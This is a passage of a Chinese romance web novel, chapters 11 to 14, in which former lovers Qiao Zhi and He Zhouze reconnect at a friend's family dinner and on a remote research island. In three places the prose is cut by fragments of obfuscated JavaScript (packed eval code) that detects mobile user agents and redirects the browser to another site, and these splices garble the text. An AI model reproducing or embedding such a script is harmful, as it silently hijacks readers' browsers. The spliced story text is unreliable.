他嘴角抽了抽:“……你俩,怎么连礼物都送一样的?” 11. 第十一章 何舟泽这才看见姚朔手里的红色包装,和他刚刚拿出来的一模一样。 他也没想到会有这样的巧合,笑说:“我托人买的,哪知道会一样。” “我那儿还有两种别的,需要的话我改天也给你带几盒。”乔之看见桌上好几排保健品,也觉得有些好笑。 姚朔赶紧打住:“够了够了,谢谢乔老师!我们今天是来吃饭的,不是来吃保健品的。” 说话间,一股香味直直地往这边飘。 “崽崽们,快来吃饭。”姚母端着一个大砂锅往饭桌走,一边招呼着几个人过去。 姚朔拄着拐杖,反而是三个人里冲在最前面的。 他揭开砂锅的盖子,得意洋洋地说:“这是本人最近研发的改良版三杯鸡,保准迷倒你们所有人。” 乔之还没看清砂锅里的菜式,就被扑鼻的香味淹没了。 光是闻,就已足够诱人。 姚朔又逐一介绍其他菜品,满脸一副“快来夸我”的样子。 “好了,别光让两位客人罚站听你讲课,快坐下吃吧。”姚母将姚朔按进座位。 姚朔从兜里掏出手机道:“我得让夏安语见识一下我的大作,你们快吃,记得帮我作证。” 说完就拨了个视频电话过去。 那边很快接起,姚朔迅速切换成后置摄像头,对着餐桌扫视一圈道:“看看我这一整桌的辛劳成果,是不是佩服得五体投地?” 夏安语还没吃饭,看见满屏的美食,顿时来气:“姚朔你有毒吧,我还没吃饭!我吃不到,怎么知道你这是不是虚有其表?” 桌上其他几个人憋着笑,没打扰两个人拌嘴。 何舟泽低头凑近轻声问乔之:“要喝点什么吗?汽水、橙汁还是牛奶?” 乔之侧头便能看见他的睫毛微垂,正轻轻地颤动着,她的心也跟着漏跳了一拍。他们许久没有这么近距离过了。 她偷偷地捏了捏自己有点发烫的耳垂,想了想道:“橙汁吧。” 两人的悄悄话被姚朔抓个正着,他把摄像头转向他们的方向:“你俩别说悄悄话了,快吃几口证明一下。” 何舟泽无奈扶额道:“好的,我马上。” 他半起身,先给乔之倒了半杯橙汁,然后又给自己夹了一块三杯鸡。 末了,竖起大拇指对镜头道:“确实好吃。” “何舟泽这种人天天营业打广告,说不定就是商业吹捧。”夏安语故作不信,而后她看见镜头边上的乔之,惊喜问道,“诶?这是乔之吗?” 乔之突然闯入镜头,顿时感觉有些局促,她赶忙吃了口鸡肉。 “小夏,好久不见。嗯……确实好吃。” 夏安语乐了:“你看乔之说得这么勉强,姚朔你别吹了。” “……?” 乔之正要开口解释,何舟泽按住她的手,摇了摇头,用嘴型说道:“别管他们俩。” 下意识的触碰让两人一时都没察觉,待乔之反应过来时,心里不禁颤了颤。 她不动声色地收回手,轻轻“嗯”了一声。 那边两人还在拌嘴,最后还是姚母打了个圆场:“小夏,你别理姚朔,他最近刚学会几道菜,正得瑟呢。下回你来江临,阿姨给你做更好吃的!” “叔叔也研发了几款新的甜品等你!” “好呀,谢谢叔叔阿姨!好想念你们做的东西,我有机会一定来!” 何舟泽看起来像是没注意到乔之收回的手,神色如常地玩笑道:“他们就俩小学生。” 这句话正巧被刚挂断视频的姚朔听见,他冷哼一声:“吃着饭,说谁小学生呢?” 姚母用筷子敲了敲姚朔,道:“说你呢,快三十的小学生!” 姚朔捂着头嗷了两声,没再说话。 乔之见刚刚的一圈互动,心里很受触动。 她想起自己之前就一直很羡慕姚朔的家庭氛围——轻松、愉快,所以姚家三位都是这么热情开朗的性格。 乔之的母亲早早改嫁,虽然她和继父也还住在江临,但乔之却并不和他们一起生活。 她和外婆住,但外婆是个强势、严格的人,她们两个人的饭桌常常能吃出万籁俱寂的氛围感。 想着想着,她竟然有些眼热。 饭桌上,姚父姚母自然地聊起家常。 “小何,我听姚朔说你明天就要走了?”姚父突然问道。 “对,去沙州录节目。” 姚朔扒拉了一口饭,含糊不清道:“录多久?最近还回江临吗?” “在沙州待三天,录完直接飞京市编曲,国庆前那周再回来录制正式的舞台。” “喔……还有差不多半个月。那我还是找乔之玩。” 听姚朔提到乔之,姚母顺口关心了一句:“小乔现在在什么单位上班?” “在江大当老师。” “是哦,他们几个里就数你读书最好,怪不得能当大学老师呢。” “没有没有,大家各有志向。” 姚母皱眉想了想,突然道:“对了,你之前是不是在我们家给他们补过数学来着?” “天哪,妈。这都猴年马月的事了,我都快忘了,你怎么还记得?”姚朔惊呼一声。 何舟泽道:“你又不用学复变,当然不记得了。” 其实乔之也快忘了这件事。听何舟泽说到“复变”,才想起来大二下学期期末考前,她和乐队其他三人一起复习过《复变函数》这门课。 当时恰逢考试周,学校附近咖啡店人满为患,根本找不到一个可以熬夜学习的地方。最后还是姚朔这个不用学数学的法学生提议去他家复习。 那会儿乐队刚成立不到一年,几个人都没怎么把心思放学习上,颜叙作为大一学生为了和他们待一起更是越级选课。 临考前,乔之这个一直在认真学习的好学生临危受命,带这三个人紧急冲刺了一把。 姚父像是也想到了什么,道:“我都还记得!你们几个说是来学习,大半夜偷偷把我珍藏的酒给喝了。” “爸爸怕影响你们考试,一直假装没发现,忍到放假才收拾姚朔。”姚母笑着说。 “结果这臭小子根本不考那门!”姚父愤愤道。 大家都哈哈大笑起来。 乔之记起来,当时连着两三天的复习让大家都倦怠不堪,后来是姚朔先带的头,最后连她都喝了一小杯。 “那天你喝了吗?”她问何舟泽。 何舟泽看着她,扬了扬嘴角,意味不明道:“你觉得呢?” 乔之已经完全想起了整件事,唯独对这个细节的记忆模糊不清。 印象中何舟泽最后似乎也有些神智不清,一直缠着她不放。但仔细想想,又觉得那时他的眼睛还是一如既往的明亮。就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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乔之主动开口解释:“谢谢阿姨,有空我一定来。何舟泽工作忙,我俩平时也不怎么联系。” 没直接说他们俩的关系,但是也足以让姚母意识到自己误会了。 “啊对对,我忘记小何工作特殊了。我们家地址等会儿我让姚朔发给你,你姚叔现在也经常做点心,你有空就来玩!” 谁也没点明,到底是把这件事绕开了。 乔之接上刚刚的话题道:“读书时候天天上课,就盼着姚叔叔做的蛋糕调剂生活。现在还能坐下来吃吃饭,比那时候幸福。” 姚父听到乔之夸他的手艺,开心道:“小乔说的是。我就不爱上学,还是出学校过得舒服。你看看小何,现在不也在做自己喜欢的事情吗?” 姚朔还想着刚刚的事,跟着阴阳怪气了一句:“爸,那是你成绩不好。人家何舟泽复变都能考八十九,哪和你一样?” 乔之忍不住笑了,终于知道为什么他和夏安语回回都能互掐。 “不过我确实还是更喜欢那时候。”何舟泽突然开口。 姚朔见他神色变了变,目光在乔之身上流转。 他担心何舟泽会再次将气氛带入诡异的怪圈,正准备遏制住他开口,结果又听见他补了句:“当然好运加持的考试——比如复变,也是个重要原因。” “……你滚吧。” 他这辈子都不会再提起这件事了。 12. 第十二章 那天在姚朔家吃过饭后,何舟泽就离开了江临——先是在沙州录了三天节目,后来又回京市制作第一期的表演曲目。 这期间乔之都没再见过他。 但尽管何舟泽人不在眼前,消息却没断过。 在沙州见到的壮美景色、吃到的美食、新鲜的体验,他都忍不住和乔之分享。 【乔乔,我今天在沙漠看了日出。[图片]】 【这家店的羊肉很不错,比我们之前在江大附近常去的羊肉馆好吃多了。[链接]】 【我准备飞京市了。】 乔之有时也摸不清何舟泽的意图,在她看来他们之间的关系远不到可以分享日常的程度。 何舟泽说要做朋友,但两人过去的关系从没有过这一环,于是她想或许这便是他与朋友的相处模式。 不过他的消息其实算不上很频繁,一天大概只有几条,所以她偶尔也会回复几句。 两人始终在保持距离和亲近之间打转。 国庆前那周周一,何舟泽回江临录制了第一期的舞台,但没待多久便又飞去了别的城市参加活动。他的行程动态在一来一回的对话里通通都告诉了乔之。 与他争分夺秒的忙碌工作相比,乔之这段时间则显得安逸许多。 某天开会时她得知学院在国庆期间有一次小规模的近海调查,并且会在试验岛待上几天。乔之听说岛上正好有个生物观察站,因此她也打了个报告申请跟船。 江临大学海洋学院在全国范围都颇具实力,无论是科研实力还是研究配置都属一流。 这次近海调查会前往的风鸣岛是当地政府拨给他们的专属试验岛。由于岛上几乎不剩几个原住民,因此大半面试都划给他们学院用作工作基地、观察站点等等。 听说附近海域偶有海豚出没,这对乔之来说是个野外调查的好机会。 国庆当天晴空万里,海上风平浪静。乔之坐在微微晃荡的船舱里,看着远处海水被染成了纯净的蓝色,水面上金光闪烁。 她准备拿出手机拍张照片,正巧何舟泽发了条微信过来。 几天下来,两人的对话频率已渐渐高了起来。乔之和他随便聊了几句。 何舟泽分享了一件最近遇到的有趣小事,三言两句就逗笑了她。 【H:我又要来江临了,这次会待久一点,乔老师赏脸一起吃个饭吗?】 【Jo:这几天我不在,外出工作。】 【H:?】 乔之随手对着窗外拍了张照发了过去。 没等何舟泽回消息,她就听见了有人在叫她。 “没想到你竟然也来了。”祝声走过来,给她递了瓶水。 乔之上船看见祝声时,也感到有点惊讶。因为她是临时加上的,所以并不知道这趟航程里具体有哪些老师。 乔之回道:“我前两天才跟吴主任申请,反正国庆没其他安排,索性过来看看。” 祝声在她身边坐下,随口问道:“你来观察海豚吗?” 乔之慢慢喝了一口矿泉水,点头道:“嗯,希望这几天有机会看到。你呢?来采样吗?” 祝声摇摇头,说:“不是,我不做近海的。” 乔之这才想起来,祝声的研究方向是深海微生物,于是困惑地问了句缘由。 对方拧开自己手中的水喝了一大口,解释道:“我下个月要去印度洋参加远洋科考,之前没这方面经验。冯老师跟我说海上风浪很大,一时半会儿很难适应,所以我就想着先来近海感受一下,做点心理准备……啊,或者说是心里安慰。” 乔之听她调侃自己,跟着笑说:“先适应一下总是好的。” 说到下个月的远洋科考,她又想起不久前在楼道里听到那些闲言碎语。她想了想决定还是和祝声说一声,以免她在不知情的情况下被人嚼了舌根。 乔之犹豫了会儿,为难地开口:“你上了科考名单后,最近有听到什么流言蜚语吗?” 祝声问:“关于我的吗?” 乔之想了个委婉的说辞,将上次听到的话转述了一遍。 祝声见她小心翼翼的样子,却笑了起来,说道:“我说怎么前段时间突然有两个博士生跟我道歉呢,原来是乔老师当了我的护卫。” 她见乔之紧绷着双唇,于是满不在乎地碰了碰她的肩,宽慰道:“这件事没什么大不了的,我被说得又不差这么一两句。” 乔之抿抿唇,才说道:“我觉得他们这样凭空捏造你的私生活,实在是……太过分了。” 祝声笑了笑:“倒也不是凭空捏造,我确实和院长儿子谈过。不过那已经是——好几年前了!哦对,他和你一个学校的。” 四年前,祝声在某次朋友聚会上认识了当时也在加州读书的院长儿子。几次接触下来双方互有好感,便短暂地谈了半年恋爱。 “不过这话确实很扯,我回国前就和他分了。之前还有传我是因为这个才能进海院呢,明明我们院长是去年才上任的。” 乔之怔了怔,没想到这一切竟如此无事生非。 “那你们的关系怎么会被学院其他人知道?” 祝声捏了捏水瓶,塑料瓶发出了“窸窸窣窣”的脆响。 她也有些无奈:“院长见过我的照片。去年她刚调过来的时候我们随口聊了两句,估计被什么人听到,最后越传越夸张。” 乔之不知该说些什么,沉默了。 听祝声的意思,这不是她第一次被人借此造谣。 谣言有时就像滚雪球,而这场雪崩之下最容易被裹挟冲击的就是女性。 祝声站起来,斜靠在窗边,往外看了好一会儿,再转过头来时依旧是笑容灿灿:“虽然我不是很在意这种事,但还是谢谢你,乔乔。” 乔之有些揪心得疼。 祝声见乔之依旧眉头紧蹙,想调节调节气氛,于是又坐下来,凑近八卦道:“你刚刚在和谁分享照片呢?看你本来挺高兴的,别被这事儿影响心情。” 乔之紧了紧手机道:“……一个朋友。” 她换了副神情,不知怎地,竟有些不自然。 祝声调侃道:“可能要进一步发展的朋友?” 乔之立马摇了摇头否认:“我没有恋爱的打算。” 祝声有些惊讶地挑了挑眉:“嗯?你是单身主义?” 乔之倒从没觉得自己是单身主义,只是比起一段亲密关系的好处,她更害怕它带来更多其他的东西。 祝声见乔之不语,这才想到别的,问道:“你是怕影响事业发展吗?” “其实也不是。”乔之停顿了片刻,“我只是觉得,我可能有点恐惧进入一段亲密关系,害怕会被冠以一些不属于我自己的东西。” “喔——我之前也这么觉得。”祝声托腮想了想,道,“但后来发现,只要有勇气随时抽身,就不必害怕它的开始。毕竟,谈恋爱有时候还是很好玩的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445152|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >乔之没想到祝声因为感情生活遭受过那样的流言蜚语后,还会说这样的话。 “可是,它带来的困扰也很多,并且会时时缠绕着你。就像……” 就像时至今日仍有人会用一段三四年前的恋情来否定你自身的努力。 祝声看着乔之,许久没说话,最后露出了一个大大的笑容:“没关系呀,这些东西伤不了我。而且,我确实在恋爱中得到了很多正面的东西。喔——就像院长儿子,虽然后期我们摩擦不断,但在一起的时候,他每周都开车从圣地亚哥来洛杉矶找我,在昏天黑地的博士毕业季给了我很多支持和关心。” 她的神情不似作伪,看起来的确是毫不后悔。 这一刻,乔之竟突然想起了何舟泽。 他们俩在毕业前两个月便分了手。乔之的毕业季里没有何舟泽,他几乎陪她度过了完整的本科前三年,却在最后几个月缺席了她的生活。 尽管,提分手的那个人是她。 . 何舟泽没来参加毕业典礼,乔之通过旁人的议论得知了这件事。 他们分手已有两个月,这两个月里他除了论文答辩,几乎没来过学校——这也是乔之通过他人得知的消息。 何舟泽上学期签了经纪公司,除了平时需要在公司里参加培训外,还被安排上了几档综艺节目。 他本就是校园风云人物,这下更是引发热议,时时刻刻被挂在校园论坛头条。 何舟泽的名字还在时常出现在乔之的生活中,但他本人却仿佛人间蒸发,真正变成了一个遥远的、抽象的符号。 毕业典礼后,学校给毕业生留了一周时间清空宿舍。 乔之是寝室里最晚一个离开的。 住了四年的宿舍,饶是再生活简单的人,也免不了要为清理杂物感到头疼。 尽管废弃的物品可以留在宿舍等宿管来统一处理,但是需要带走的东西仍是不少。每年毕业季,都能看到毕业生们为搬运行李叫苦连天。 乔之曾试想过自己该怎么办。 外婆年岁已高,平日里除了偶尔在小区里散散步,已经很少出门。至于母亲和继父,她更是不愿意麻烦他们过来。 那时何舟泽还在她身边,听到她的忧虑后,全然不担心道:“毕业那几天男生可以进女寝帮忙,到时候一切都交给我!” 他揽着她的肩,摆出一副可靠的样子。 于是乔之没再担心过这件事。 可如今,熟悉的同学几乎都已经离校,她只剩自己一个人。 乔之叹着气,只能靠自己分批次一件件往下运。 乔之住顶楼。 等搬完所有东西,她的衣衫早已被汗水濡湿,四肢都在不住地颤抖。 天已经渐渐黑下来,夏日的晚风夹带着燥热和咸涩。 乔之坐在寝室楼的门口,整个人都疲惫得无法再动弹,只盯着手机查看来接驾的网约车司机的位置。 “乔乔,毕业快乐。” 一条短信飞入她的手机。 ——没有署名的号码。但她知道,这一定是何舟泽。 时隔两个月,这六个字是他们之间唯一的对话。 酸涩席卷了乔之的全身上下,她被迟来的、不可名状的悲伤紧紧裹挟。 如果她不曾期待过此刻也有他在身边陪她上上下下,如果她能更早习惯一个人,或许她不会这么难过。 终于,她在夜色中泪流满面。 13. 第十三章 “乔老师,我们马上就到风鸣岛了,你现在可以准备一下。” 说话的是随行的学院另一位老师,他进舱室通知乔之下船。 乔之应了一声,随即起身和祝声道:“我先准备下船啦,晚点见。” “好,等我征服了大海再来找你!”祝声随口开了个玩笑。 乔之笑着跟她道别。 她跨过门槛,走到另一侧的储物室找自己的行李。 这次参加近海调查的老师有五位,其中有两位是来做水文调查的,因此还要跟船走两趟。祝声的主要目的是为了适应海上环境,自然也不会跟着下船。 最后上岸的只有乔之和另一位她不熟悉的海洋工程系的老师。 风鸣岛不大,近年来人烟稀少,岛上维持了很好的生态环境。初秋时节,依旧是满目的绿。 乔之站在码头,感受到微凉的海风划过脸庞,耳边是涛声阵阵。 她看见祝声靠在后甲板的栏杆上和她挥手,白色的小船逐渐变成了一个远远的点。 他们上岸的码头离试验中心距离不远,但一同卸下的除了他们的个人行李外,还有一批物资。因此,基地常驻的守卫刘叔开着一辆小小的观光车来接他们。 刘叔是风鸣岛原住民,十来年前没跟着社区规划去人口更多的岛屿,一直守着这片小岛。 后来江临大学海洋学院拿到了这座岛的使用权,在岛上建科研基地后,他又被聘请来当试验中心的门卫,他的妻子也留下来做后勤。 “中心在西边。喏,看见那几根旗杆了没有?就是那儿。”刘叔一边开着车,一边用手指了指不远处露出的一点点摇曳红旗。 和乔之同行的海工系老师是岛上的常客,他熟络地和刘叔交谈着。 两人都知道乔之是第一次来,贴心地给她介绍风鸣岛现状。 刘叔热情善谈,难得来个人陪他聊天,恨不得说上一整天:“乔老师,你是第一次来。我们岛东边有一片很不错的沙滩,偶尔也会有游客来露营,你有空可以去那边看看。” 乔之应道:“是吗?我这次主要打算去生物观察站看看,那个站点好像就在偏东侧的位置。” “对对对,东边除了有个你们的观察站外,早就没人住了。那边风景很不错的咧!” 乔之满口答应下来,心底确实也有点好奇。反正观察站也在那个方向,顺路去看看风景也是不错的选择。 车开了没几分钟,眼见着旗杆越来越近,转眼“江临大学风鸣岛海洋试验基地”几个大字就出现在了眼前。 刘叔将观光车开进小院,帮着把行李卸下。 他指了指边上的白色楼房道:“这栋是吃饭睡觉的地方。” 而后他又指了另一边,说:“这边都是你们老师用来做实验的。” 乔之来前大致看过试验基地的构造,规模算不上很大,但“麻雀虽小,五脏俱全”。 基地里的几栋楼房看上去都很新,生活环境比乔之想象中要好上许多。 那位海工系的叶老师隔三差五就要上岛来一趟,他早就没了乔之这般新奇感。他下了车便匆匆放下行李,还没收拾,就急着赶去附近的潮汐发电站检查工作。 刘叔带乔之简单参观了一下生活楼,替她将行李一路送到房间门口,随后也忙着去清点刚刚一并送来的新物资。 乔之带的行李简单,整理起来花不了多久。 等收拾好一切,她看了眼时间,才刚过两点,离天黑还早。 乔之想了想,决定去观察站探索一番,为之后几天的工作做准备。 路过食堂的时候,她和忙着搬运新物资的刘叔打了个招呼,便抬脚出了试验中心的大门。 风鸣岛最外圈有一条环岛公路,试验中心在西南侧的位置,刚刚下船的码头在南侧,而乔之要去的观察站在东北部。 乔之决定往北边走,正好可以把刚刚没走过的路逛一遍。 岛上除了试验中心及附近两三户像刘叔一样不肯走的居民,已没有什么别的人烟。现在的风鸣岛几乎可以算得上是一个荒岛。 不过这里曾经住着许多户人家,所以乔之一路上看到不少前人们遗留下来的居所。 乔之听见风吹树叶发出“沙沙”的声响,除此以外,就只有她自己的脚步声,以及远处路过船只传来的模糊鸣笛。 她抬头往树林那边看去,黛青色的瓦片顶在树林间隐隐绰绰,静默中讲述着被遗忘的历史。 观察站就设立在一方浅沙湾附近,里面陈设非常简单,除了必备的设备外,仅有一张小小的折叠床。 吴主任和乔之说过,这片海域受人类活动影响较小,生态环境也较为适宜,偶尔会有海豚近岸休息。 然而乔之在站点里待了一下午也没什么收获。过两天或许她可以带上生活品在这边过夜观察,夜晚可能会有意外之喜。 暮色四合之时,乔之走出观察站。正准备原路返回时,她想起刘叔的推荐,于是又转了方向往东侧走去。 她沿着公路边的石板台阶走到沙滩上,遥遥看见远处有一群人占了个安全的地带在露营——看起来像是个规模不小的团队。 风鸣岛一周仅有一次轮渡,今天不是航次表上安排的时间,这群人只可能是自己开船来的。 这样的阵仗,大概率不是什么普通的露营队伍。 不过乔之无意打探,因此只找了个有些距离的位置坐下来静静看海。 岛屿东面正对着大海,视野所到之处全无阻碍。这会儿太阳正慢慢落进海里,将海水和沙滩都染成了金黄色。 ——刘叔说得没错,这边的景色的确好极了。 “乔乔……?” 熟悉的声音在身后响起。 甚至几小时前她还在微信语音中听到过这个声音。 乔之不可置信地转头,果然看见何舟泽就站在离她不远的地方。 她惊道:“你怎么……会在这儿?” 何舟泽的脸上同样挂着惊喜的神色。 中午那会儿他刚在江临下飞机,得知乔之这段时间不在,还为错过和她见面的机会而感失落。 所以他刚刚看见沙滩上的那个熟悉背影时,也有些不敢相信,心想自己大概是在做梦才会期待能在这座人迹罕至的小岛上遇到她。 可这会儿真见到了她,他的心情瞬间就高涨了百倍。没想到辗转几番,他们竟然真的能在这样的情况下相遇。 何舟泽按耐住狂喜,故作冷静地在乔之身边坐下,说道:“我来这个岛上录节目,就是上次那个综艺的第二期。你呢,你怎么在这儿?” 乔之转头看了看远处的人群,这才注意到他们除了露营的装备外,还有不少其他设备,远远看着像是摄影器材。 她解释道:“这是我们学院的试验岛,我过来野外调查。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445153|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何舟泽露出了极其惊喜的笑容,问道:“那你会在这里待多久?” “五号走。” “我比你早一天,我们只录三天。”何舟泽的语气里有一点淡淡的遗憾,但很快又消散了,“不过我这次打算在江临完成编曲,所以会一直待到九号。” 他转过头来,落日的余晖照在他的半边脸上,勾勒出光影交织的轮廓。 何舟泽的嘴角依旧保持着上扬的弧度,道:“我等你回江临,到时候一起吃饭好不好?” 如果何舟泽背后一根尾巴,乔之一定能看见它正疯狂地摇动着。 她无奈一笑,答应道:“好。” “你住哪儿?远吗?”何舟泽忍不住抛出一个又一个问题。 “岛西边有我们的基地,走路大概半个小时。”她抬头见太阳已经落下了半个,于是站起身来,“我差不多该回去了。” “我送你吧。” 乔之刚想说不必麻烦,又见何舟泽也站起来,抖了抖衣服上的细沙,一副时刻准备出发的模样。 他说:“这会儿正好是休息时间,被摄影机对着拍了一下午,我想出去透口气。” 理由合理,挑不出毛病。 乔之想了想,便也答应了。 何舟泽立马给助理小王打了个电话,告知对方自己要四处逛逛,过一小时再回。 回去的路是中午坐观光车走过的路线,黄昏中的景色与那时很是不同,但乔之却无心欣赏。 何舟泽就在她身侧不足一掌的地方,他们并肩走着,影子时不时便会重叠在一起。 “有时觉得,散步真是件幸福的事情。”何舟泽感慨道。 乔之与他随意聊着:“我在美国读书时,住的公寓离学校也有这么一段距离。每天傍晚,我都这样在夕阳下走回家。” 这是何舟泽从未参与的一段生活,他心里泛起难以察觉的滋味。 他停了好久才说:“……是吗?那我有点羡慕你,我好像已经很久没有这样散过步了。” 乔之没听出他语气里的失落,笑道:“这是你做大明星的代价。” 何舟泽跟着轻笑了声,说:“大学的时候,每天我最期待的事情就是吃完晚饭后能散散步。” 因为每天一定能见面的机会,就是晚饭;一定能牵手的时刻,就是饭后散步。 何舟泽无数次午夜梦回,都在怀念那些时光。 不过他一开口,便又后悔了。他知道乔之不喜欢提过去的事情。 乔之听他说这话,心里竟没有往常的排斥和逃避。 她想到今天祝声和她说的,也记起和何舟泽相处的那些日子,的确给了她很多快乐。 他在林间小路上牵她的手,他为她摘下头发上的树叶,他永远努力让她开怀大笑。 ——每一个片段,她其实从来都没有忘记过,只不过一直不愿想起。 乔之开口道:“这个岛上没什么其他人。这几天,你可以抓住机会散散步,不会有人打扰。” 何舟泽停住了脚步,转头看向了她,眼眸闪动:“那乔老师愿意陪我一起走走吗?” 乔之跟着在原地顿了顿。 紧接着她听见自己这样说道:“我白天都在岛东北侧的观察站,每天五点半回基地吃晚饭。” 然后她便看见何舟泽脸上盛满了笑意。 他的语气轻快:“好啊。” 14. 第十四章 到基地时,食堂已经开饭。 乔之走进食堂,见祝声以及另外两位老师早就在了。 她抬手和他们打了个招呼,转眼刘叔和食堂阿姨就已经接力给她打了满满一盘的饭菜。 乔之道谢后端着餐盘坐到祝声身边,对方转过头对她眨了眨眼睛,悄悄揶揄道:“刚刚送你过来的人是谁?你在岛上有认识的人?” 乔之听见这话愣了片刻。 刚刚何舟泽只送她到了基地门口,两人并未过多停留便道了别。没想到这么一小会儿,也被祝声看见了。 她只说道:“一个朋友,刚好也在岛上露营。正巧碰上了。” 刚刚两人虽然没什么特别互动,可祝声精准捕捉到了他们之间流动着的暧昧感。更何况隔这么远距离,她也能看得出对方是个帅哥,通身的气质都不像一般人。她多年来从未失灵的恋爱雷达立马嗅出了点不同寻常的意味。 何舟泽的身份特殊,乔之没过多解释。 好在祝声也没刨根问底,只是保持着神秘的笑容道:“好好好,这几天有机会可以一起玩。” 晚饭后,祝声被叫去实验楼帮忙处理新采集的样品,乔之则准备回房间看文献。 等到入夜,她收到了何舟泽的消息。 【H:乔乔,快看月亮。】 乔之走出房间,站在阳台上抬头看天。 今晚已接近满月,鹅黄色的月亮在轻薄的云雾里若隐若现,很是美丽。 【H:快月圆了。[图片]】 何舟泽又发了条消息,这次还附上了一张照片。 照片里的月亮,和她眼前的一模一样。 他们之间不过相隔了一座岛,换算成宇宙天体之间的距离,几乎可以算得上是如伴左右。乔之仿佛能听见何舟泽的声音就在她耳边,让她抬头看看今晚的月色。 她不自觉地也对着天空拍了一张照片。 【Jo:我看见了一样的月亮。[图片]】 末了,她突然又想起这会儿何舟泽应该还在录节目,不知为何竟然能给她发消息。 【Jo:你不是还在录节目吗?】 但对方许久都没有再回。 第二天一早,乔之才看见何舟泽在半夜回了一条:【那时候在录一个收集月亮的环节,乔乔你帮我赢了游戏。】 乔之不明所以,但猜想大抵是类似不说关键词但需要达成某种目的的游戏。想到昨晚看见月亮时的心情,她突然有一些难以自察的失落。 上午明媚的天气都没再让她高兴起来。 等到了下午,天色说变就变。顷刻间空中便乌云密布,看起来马上就要下雨。 乔之一早就来了观察站,眼下赶紧收拾东西准备回基地。 上午的天气预报里写着下雨的概率不过30%,所以她并没有带伞。 暴雨前的低气压笼罩着整座小岛,乔之快步往基地的方向走。 但令人意想不到的是,这雨来得比想象中还要更快。当一片硕大的乌云覆盖在岛屿上方时,乔之才走了三分之一的路程。 瓢泼大雨倾泻而下,瞬间打湿了地面。 更糟糕的是,风也来得极为迅猛。 乔之被淋湿了大半身子,只好暂时躲进边上的废弃民居里避雨,等雨小一点再出发。 好在绝大多数屋子只是空置了,基本结构还保存完整。 乔之快速躲到了某间房子的屋檐下。 待安定下来,她才想起昨天与何舟泽的约定。 这天气大概不能够成行,于是她赶紧发了条消息给他,取消今天的散步。 只不过她刚点击发送键,就听到身后响起了窸窸窣窣的声音。 雨天、荒岛、废弃民居……恐怖片的基本要素齐全,乔之就算再胆大,也忍不住要心惊肉跳。 身后的东西越来越靠近,她闭上眼,咬牙转身,狠狠地将身上的包向对方砸去。 “嘶——”有人倒抽了一口气,有些好笑地说,“一日不见,乔老师怎么突然对我这么大火气?” 乔之睁眼,看见对方一脸无奈,头发还在湿答答地滴着水。 ——是何舟泽。 他一只手抓着她的包,另一只手扛着只落了灰的长板凳。 她有些不好意思地收回自己的包,说道:“对不起,我以为……” 说了没两句,她实在没脸开口解释,于是换了个话题问他:“你不是在录节目吗?” 何舟泽将手中拿着的木凳放下来:“我找灵感的时候不喜欢别人跟着,这个环节可以自己录制。” 随后又向她展示了一下脖子上挂着的相机。 “你呢?怎么也和我一样被淋成了落汤鸡?”他挑了挑眉,见乔之还惊魂不定的样子,生出了点戏弄的心。不过他还是贴心地拍了拍板凳上的灰尘,示意乔之坐下。 乔之没客气,顺着就在凳子上坐下来,回答道:“我以为能在下雨前赶回基地,没想到雨来得这么快。” “为什么遇见你之后,天气预报好像都不准了。”何舟泽想到两人重逢后的种种都与雨天有关,于是玩笑道。 乔之心里也默默吐槽,她不知道为什么自己每次一忘带伞,就能碰到他。 两人坐在长凳上,安静地看院落外暴雨如瀑。 这场秋雨似乎还带着夏日雷阵雨的强劲力量,一声声砸在地面上,好像要把未用完的力气尽数洒在这场雨中。 地面升起腾腾的水汽,雨雾缭绕。 没过多久,两人的电话分别响起。 乔之和基地的其他人报了声平安,告诉他们等雨小一点就可以自己回去。毕竟这么大的暴风雨,让刘叔来接他们也有些遭罪。她实在不愿意太麻烦别人。 何舟泽接到的是助理的来电,但刚说了句一切安好,他的手机就自动关机了。 他举着黑屏的手机,露出尴尬的笑:“没电了。” “你需要用我的手机吗?”乔之将自己的递过去。 何舟泽看起来倒是毫不担心:“没事,我已经报过平安了。过会儿我和你一起走。” 他取下相机的盖子,又说:“你介意我拍一点素材吗?” 乔之摇摇头表示无所谓。 于是他起身,走到 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“乔乔,你听这段浪声。节奏太妙了,我恨不得马上写进歌里。” …… 他所记录的东西里,有浪拍礁石的涛声阵阵,有风拂过后摇曳的树叶,有古朴的旧民居,还有路过屋檐的麻雀。 这里面几乎每一件,乔之都亲眼见过。她越发地有一种和何舟泽共享了同一个时空片段的奇异感觉,就好像这两天,他们俩时刻陪伴在彼此左右。 最后直到相机都快没电,雨还是没小下去,甚至越发的来势汹汹。 他们躲雨的地方不过是房屋延伸出的一片茅草棚,这会儿渐渐也有雨打了进来。 何舟泽提议去屋里避雨,瓦片房至少不会大面积漏雨。可是乔之看着黑洞洞的房间,直冒冷汗,一步也不愿意往里踏。 最后何舟泽无奈地脱下了外套,撑在两人的头顶:“那就不去。但愿我的外套还能撑一会儿……” 他做这个动作单纯只是为了遮挡滴下的雨水,但当乔之抬起头看他时,他瞬间顿住了。 